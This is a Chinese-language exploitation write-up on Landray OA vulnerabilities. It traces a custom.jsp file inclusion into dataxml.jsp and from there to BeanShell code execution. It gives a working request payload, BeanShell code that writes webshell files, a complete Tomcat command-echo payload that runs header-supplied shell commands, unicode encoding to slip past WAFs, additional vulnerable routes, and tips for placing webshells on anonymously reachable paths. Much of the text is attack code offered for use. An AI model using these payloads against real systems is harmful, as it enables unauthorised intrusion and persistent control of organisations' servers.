在某次项目过程中,遇到了蓝凌OA。此处主要分析一些Nday及结合实际的一些扩展。
漏洞分析
此处主要分析由 custom.jsp
引起的代码执行。
custom.jsp任意文件读取
源码位于
sys/ui/extend/varkind/custom.jsp
1
2
3
4
5
6
7
8
9
10
11
|
....
<%@ taglib prefix="c" uri="http://java.sun.com/jsp/jstl/core"%>
<%
JSONObject vara = JSONObject.fromObject(request.getParameter("var"));
JSONObject body = JSONObject.fromObject(vara.get("body"));
if(body.containsKey("file")){
%>
<c:import url='<%=body.getString("file") %>' charEncoding="UTF-8">
<c:param name="var" value="${ param['var'] }"></c:param>
</c:import>
<% }%>
|
body是var传递的json参数,然后 containsKey
检测file。然后用到了jstl标签,它属于jsp应用的一个核心模块。而 <c:import
标签相当于 jsp:include
的扩展,简单可以理解为本地文件包含+SSRF。
所以说它是任意文件读取不太恰当。正是因为这个文件包含,引发了下面一系列代码执行。
dataxml.jsp任意执行代码
源码位于
sys/common/dataxml.jsp
截取漏洞核心代码部分
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
|
<%
//....
ApplicationContext ctx = WebApplicationContextUtils.getRequiredWebApplicationContext(session.getServletContext());
RequestContext requestInfo = new RequestContext(request);
String[] beanList = request.getParameter("s_bean").split(";");
IXMLDataBean treeBean;
HashMap nodeMap;
Object node, value;
Object[] nodeList;
Iterator attr;
String key;
int i, j, k;
StringBuilder sout = new StringBuilder();
JSONArray sarray = new JSONArray();
sout.append("<dataList>");
for(i=0; i<beanList.length; i++){
treeBean = (IXMLDataBean) ctx.getBean(beanList[i]);
nodes = treeBean.getDataList(requestInfo);
//....
)
%>
|
上面代码主要逻辑为通过 ;
符号分割 s_bean
参数,循环调用 getBean
函数来获取创建了 Spring Bean
容器的对象。然后利用该对象的 getDataList
方法来处理最终的 requestInfo
。
通过上面代码我们可以发现,ctx
的 bean
对象是从 session
的 Servlet
来获取的。那就说明实现了 IXMLDataBean
接口的类,都属于 Spring Bean
对象类。看一下实现该接口的类和 getDataList
方法有多少。
通过上图可以看到,实现了该接口的类有572个,实现了该接口类的方法有544个。
对于漏洞利用,我们需要在其中寻找可以代码执行的地方。由于该漏洞为历史漏洞,这里通过 payload
来继续接下来的分析。
1
|
var={"body":{"file":"/sys/common/dataxml.jsp"}}&s_bean=sysFormulaValidate&script=
|
可以看到传递的类名为 sysFormulaValidate
,跟进一下。
位于 kmss_core.jar
包中。
类的位置在 com/landray/kmss/sys/formula/web/SysFormulaValidate.class
截取漏洞核心代码
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
|
public class SysFormulaValidate implements IXMLDataBean {
private static final Log logger = LogFactory.getLog(SysFormulaValidate.class);
public SysFormulaValidate() {
}
public List getDataList(RequestContext requestInfo) throws Exception {
List rtnVal = new ArrayList();
Map node = new HashMap();
String msg = null;
String confirm = null;
String forceMsg = null;
try {
String script = requestInfo.getParameter("script");
String type = requestInfo.getParameter("returnType");
String funcs = requestInfo.getParameter("funcs");
String model = requestInfo.getParameter("model");
FormulaParser parser = FormulaParser.getInstance(requestInfo, new ValidateVarGetter((ValidateVarGetter)null), model);
if (StringUtil.isNotNull(funcs)) {
String[] funcArr = funcs.split(";");
for(int i = 0; i < funcArr.length; ++i) {
parser.addPropertiesFunc(funcArr[i]);
}
}
Object value = parser.parseValueScript(script, type);
//......
}
|
通过上面代码可以看到我们传递的参数 script
被 parser.parseValueScript
解析。跟进这个解析方法。同样在 kmss_core.jar
包,类位于
com/landray/kmss/sys/formula/parser/FormulaParser.class
1
2
3
4
5
6
7
8
|
public Object parseValueScript(String script, String type) throws EvalException, KmssUnExpectTypeException {
Object value = this.parseValueScript(script);
if (StringUtil.isNotNull(type)) {
value = this.getSysMetadataParser().formatValue(value, type);
}
return value;
}
|
不传入type参数时,通过 parseValueScript
进行解析。跟进(同样在上面类中。由于代码过长,此处利用截图展示
通过上图可以发现,实例化了 bsh
的 Interpreter
类,然后通过一系列特殊符号处理,最终调用eval
方法执行 处理完的 script
参数。bsh即BeanShell
。所以其实这是一个 BeanShell
代码执行。
漏洞利用
漏洞利用往往不止于简单的输入输出。这里主要讨论web权限的完整获取。如静态webshell、内存马、执行命令等。
前面说到漏洞原理最终为 Beanshell
代码执行,Beanshell
可以执行动态Java代码。参考一些其他OA或cms发现的同类型漏洞。如某微、某远,普遍利用为
demo如下
这是通过其模块自带的命令执行,如果是Java命令执行的换成Runtime即可。
假如我们需要写 webshell
的话。则是通过文件io流来写入,这里采用文件缓冲流来举例,当然也可以用reader等方式。
1
|
import java.io.*;BufferedWriter out=new BufferedWriter(new FileWriter("./test.txt"));out.write("test123");out.close();
|
demo
这里需要注意的是目录和写入文件过长、内容存在特殊符号的问题,根目录建议采用命令执行来获取。而内容过程考虑多次追加,特殊符号可以base编码写入。
一些难点
回过来谈谈蓝凌OA漏洞利用的一些难点,这也是项目中遇到的一些问题。
命令执行回显
先说说第一个问题。命令执行无回显主要解决方式为tomcat通用回显,这也是对于当前OA的解决方式,对于其他OA应使用对应web中间件回显。这里主要针对tomcat 7、8、9的通用回显。
代码源于一些公开文章,主要在于反射获取线程中的 Processor
对象。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
|
boolean flag = false;
ThreadGroup group = Thread.currentThread().getThreadGroup();
java.lang.reflect.Field f = group.getClass().getDeclaredField("threads");
f.setAccessible(true);
Thread[] threads = (Thread[]) f.get(group);
for(int i = 0; i < threads.length; i++) {
try{
Thread t = threads[i];
if (t == null) continue;
String str = t.getName();
if (str.contains("exec") || !str.contains("http")) continue;
f = t.getClass().getDeclaredField("target");
f.setAccessible(true);
Object obj = f.get(t);
if (!(obj instanceof Runnable)) continue;
f = obj.getClass().getDeclaredField("this$0");
f.setAccessible(true);
obj = f.get(obj);
try{
f = obj.getClass().getDeclaredField("handler");
}catch (NoSuchFieldException e){
f = obj.getClass().getSuperclass().getSuperclass().getDeclaredField("handler");
}
f.setAccessible(true);
obj = f.get(obj);
try{
f = obj.getClass().getSuperclass().getDeclaredField("global");
}catch(NoSuchFieldException e){
f = obj.getClass().getDeclaredField("global");
}
f.setAccessible(true);
obj = f.get(obj);
f = obj.getClass().getDeclaredField("processors");
f.setAccessible(true);
java.util.List processors = (java.util.List)(f.get(obj));
for(int j = 0; j < processors.size(); ++j) {
Object processor = processors.get(j);
f = processor.getClass().getDeclaredField("req");
f.setAccessible(true);
Object req = f.get(processor);
Object resp = req.getClass().getMethod("getResponse", new Class[0]).invoke(req, new Object[0]);
str = (String)req.getClass().getMethod("getHeader", new Class[]{String.class}).invoke(req, new Object[]{"cmd"});
if (str != null && !str.isEmpty()) {
resp.getClass().getMethod("setStatus", new Class[]{int.class}).invoke(resp, new Object[]{new Integer(200)});
String[] cmds = System.getProperty("os.name").toLowerCase().contains("window") ? new String[]{"cmd.exe", "/c", str} : new String[]{"/bin/sh", "-c", str};
byte[] result = (new java.util.Scanner((new ProcessBuilder(cmds)).start().getInputStream())).useDelimiter("\\A").next().getBytes();
try {
Class cls = Class.forName("org.apache.tomcat.util.buf.ByteChunk");
obj = cls.newInstance();
cls.getDeclaredMethod("setBytes", new Class[]{byte[].class, int.class, int.class}).invoke(obj, new Object[]{result, new Integer(0), new Integer(result.length)});
resp.getClass().getMethod("doWrite", new Class[]{cls}).invoke(resp, new Object[]{obj});
} catch (NoSuchMethodException var5) {
Class cls = Class.forName("java.nio.ByteBuffer");
obj = cls.getDeclaredMethod("wrap", new Class[]{byte[].class}).invoke(cls, new Object[]{result});
resp.getClass().getMethod("doWrite", new Class[]{cls}).invoke(resp, new Object[]{obj});
}
flag = true;
}
if (flag) break;
}
if (flag) break;
}catch(Exception e){
continue;
}
}
|
payload过长&特殊字符
payload
过长主要体现在两方面,代码执行和写文件。对于代码执行的话,我们需要缩短通用回显的一些不必要操作,如空格、换行,异常处理,执行部分不必对系统类型进行判断(通过前面任意文件读取来判断)。写文件过长则需要进行分段追加写入,调整一下参数即可。如
1
|
new FileWriter("./test.txt",true);
|
对于特殊字符,命令执行和文件写入都会涉及。比如我们payload传输为
1
|
/?shellcode=boolean flag = false;ThreadGroup group =Thread.currentThread().getThreadGroup();.....
|
这样很容易造成参数不解析,这里推荐使用 unicode
编码执行代码部分,了解java都知道unicode的重要性,其对一些 waf
也具有免杀效果。
demo
注意编码执行命令的 script
参数。
漏洞扩展
回到前面的漏洞分析,主要触发在于 getDataList(requestInfo)
。通过全局搜索
通过对9个文件进行逐一确定,最终发现以下文件用法基本相同
1
2
3
4
5
|
/km/summary/km_summary_main/datajson.jsp
/sys/common/datajson.jsp
/sys/common/treejson.jsp
/sys/common/treexml.jsp
/tic/core/resource/js/erp_data.jsp
|
后续对比 @珂技 师傅文章,发现基本一致,只缺少了 /km/summary/km_summary_main/datajson.jsp
对于 kmss_core.jar
部分
com/landray/kmss/common/actions/DataController.class
同样存在类似触发点
包括
1
2
3
|
/data/sys-common/dataxml
/data/sys-common/treexml
/data/sys-common/datajson
|
不过这些路由,并不能通过前面文件包含来进行利用。(这点 @珂技 师傅文章未说明。且路由需要管理权限,正常无法利用。
不过这是一个引子,今年hw之前,有人公布了一个POC
https://github.com/tangxiaofeng7/Landray-OA-Treexml-Rce
其正是用的 /data/sys-common/treexml
这条,不过其利用了springmvc的静态资源越权。也就是一个后缀匹配规则问题。
由于静态资源不用进行鉴权处理,所以可用。所以payload可随意扩展
最后的 tips
是关于webshell写入的问题,由于蓝凌OA的spring安全限制,对匿名访问路径有控制,假如我们写入了 /xxx.jsp
后缀是无法更改的,所以不能通过 springmvc
绕过,我们可以查看匿名访问路径。
在 authenticationValidateCore
中,遵守对应值即可匿名访问。如 logoinx.jsp
、logoutx.jsp
等。
该文件同样位于WEB-INF/KmssConfig/sys/authentication/spring.xml
。
至于后续的1day及深入扩展,后面会写。